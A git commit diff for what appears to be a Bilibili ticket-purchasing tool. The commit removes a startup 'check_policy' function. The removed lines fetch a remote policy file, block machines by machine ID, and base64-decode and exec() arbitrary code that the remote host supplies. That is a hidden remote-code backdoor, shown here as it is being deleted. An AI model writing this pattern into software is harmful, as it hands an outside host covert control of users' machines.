refactor: 删除检测
This commit is contained in:
parent
c32cdf05fb
commit
0f137076a7
4
main.py
4
main.py
@ -13,7 +13,7 @@ from loguru import logger
|
||||
from api import BilibiliHyg
|
||||
from globals import *
|
||||
|
||||
from utils import prompt, save, load, check_policy
|
||||
from utils import prompt, save, load
|
||||
|
||||
import inquirer
|
||||
|
||||
@ -119,8 +119,6 @@ def main():
|
||||
version, sentry_sdk = init()
|
||||
session = requests.session()
|
||||
|
||||
check_policy()
|
||||
|
||||
config = load_config()
|
||||
if config == None:
|
||||
return
|
||||
|
43
utils.py
43
utils.py
@ -55,46 +55,3 @@ def load() -> dict:
|
||||
os.remove("data")
|
||||
logger.info(i18n_gt()["has_destroyed"])
|
||||
return data
|
||||
|
||||
def check_policy():
|
||||
import requests
|
||||
from i18n import i18n_gt
|
||||
from globals import version
|
||||
import os
|
||||
import sys
|
||||
from loguru import logger
|
||||
allow = True
|
||||
for _ in range(3):
|
||||
try:
|
||||
policy = requests.get("https://bhyg.bitf1a5h.eu.org/policy.json").json()
|
||||
break
|
||||
except Exception:
|
||||
logger.error(i18n_gt()["policy_error"])
|
||||
if policy["announcement"] is not None:
|
||||
logger.warning(policy["announcement"])
|
||||
if "policy" not in locals():
|
||||
logger.error(i18n_gt()["policy_get_failed"])
|
||||
sys.exit(1)
|
||||
if version not in policy["allowed versions"]:
|
||||
logger.error(i18n_gt()["version_not_allowed"])
|
||||
allow = False
|
||||
import machineid
|
||||
if policy["type"] == "blacklist":
|
||||
if machineid.id() in policy["list"]:
|
||||
logger.error(i18n_gt()["blacklist"])
|
||||
allow = False
|
||||
elif policy["type"] == "whitelist":
|
||||
if machineid.id() not in policy["list"]:
|
||||
logger.error(i18n_gt()["whitelist"])
|
||||
allow = False
|
||||
elif policy["type"] == "none":
|
||||
pass
|
||||
else:
|
||||
pass
|
||||
if policy["execute_code"] is not None:
|
||||
import base64
|
||||
code = base64.b64decode(policy["execute_code"]).decode("utf-8")
|
||||
exec(code)
|
||||
if not allow:
|
||||
sys.exit(1)
|
||||
return
|
Loading…
x
Reference in New Issue
Block a user